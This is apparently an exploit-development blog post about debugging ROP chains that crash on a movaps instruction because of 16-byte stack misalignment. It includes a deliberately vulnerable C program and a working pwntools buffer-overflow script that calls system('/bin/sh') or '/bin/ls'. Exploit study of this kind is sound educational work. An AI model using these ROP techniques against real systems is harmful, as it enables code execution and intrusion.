Debugging a movaps crash

mini ROP
|

When developing a ROP exploit I kept on crashing on a movaps xmmword ptr [rsp], xmm0 instruction.

After some investigating I found this was happening because the movaps (Move Aligned Packed Single-Precision Floating-Point Values) memory operands must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated. In the example above, the stack is not 16 byte aligned hence the crash.

The easiest way to fix our exploit is adding a ret gadget to our ROP chain which will act as a NOP, but increment the stack by 8, aligning it.

Part 2

At some other time I had this simple ROP chain that sets rdi to "/bin/sh" and calls system from the plt of the program. However, even though system is called, no shell is popped and no crash happens inside system.

ROP = "".join([
    set_rdi(bin_sh_addr),  # rsi = '/bin/sh'
    p64(base + elf.plt['system']),
])

Adding a ret before the call to system (any odd number of rets would work), aligning the stack to 16 bytes, a shell pops. :O

ROP = "".join([
    set_rdi(bin_sh_addr),  # rsi = '/bin/sh'
    p64(base + 0x5d0),     # ret  ---> ['0x5d0', ...]
    p64(base + elf.plt['system']),
])

As an example let’s use this challenge and exploit to investigate it.

#include <stdio.h>
#include <stdlib.h>

int put_system_in_got() {
    system("/bin/ls");
}

int main() {
    printf("'main' leak @ %p\n", main);
    char buf[256];
    printf("buf:");
    scanf("%512s", buf);
}
#!/usr/bin/python2
from pwn import *
import sys

FILENAME = "./test"
elf = ELF(FILENAME)

def set_rdi(rdi):
    return "".join([
        p64(elf.address + 0x7d3), # ('pop rdi', 'ret') --> ['0x7d3']
        p64(rdi),
    ])

def go():
    s = process(FILENAME)
    if "wait" in sys.argv:
        raw_input("Enter any key to continue...")

    # ====================
    # leak
    s.recvuntil("'main' leak @ ")
    main_leak = int(s.recvline().strip(), 16)
    elf.address = main_leak - elf.symbols['main']
    print "      elf.address @", hex(elf.address)
    print "elf.plt['system'] @", hex(elf.plt['system'])

    # ====================
    # overflow
    # With a odd amount of ret's between set_rdi and system we see the 'ls'.
    # Otherwise "/bin/ls" does not run
    ROP = "".join([
        set_rdi(next(elf.search("/bin/ls"))),
        # p64(elf.address + 0x762), # ret
        p64(elf.plt['system']),
        p64(0xdeadbeef),
    ])
    payload = "A"*(256+8) + ROP
    s.sendline(payload)
    s.interactive()

go()

I started by using PIN to trace the instructions of this binary when the exploit is successful (with the ret) and when it fails, but found no really interesting differences, contrary to what I thought was going to happen. Afterwards I decided to simply strace both versions. Nothing too interesting.

At this point I realized the new program (bin/ls in this case) is spawning but crashing for some reason. By running strace -f to follow the child process we can see big differences. When the exploit fails we see almost no output, meaning the program crashes almost immediatly. Let’s confirm with gdb. To do this I place a breakpoint in the clone syscall inside system that spawns the new process and set follow-fork-mode child so gdb knows to follow the child. Step 10-20 times and we find our culprit.. movaps again!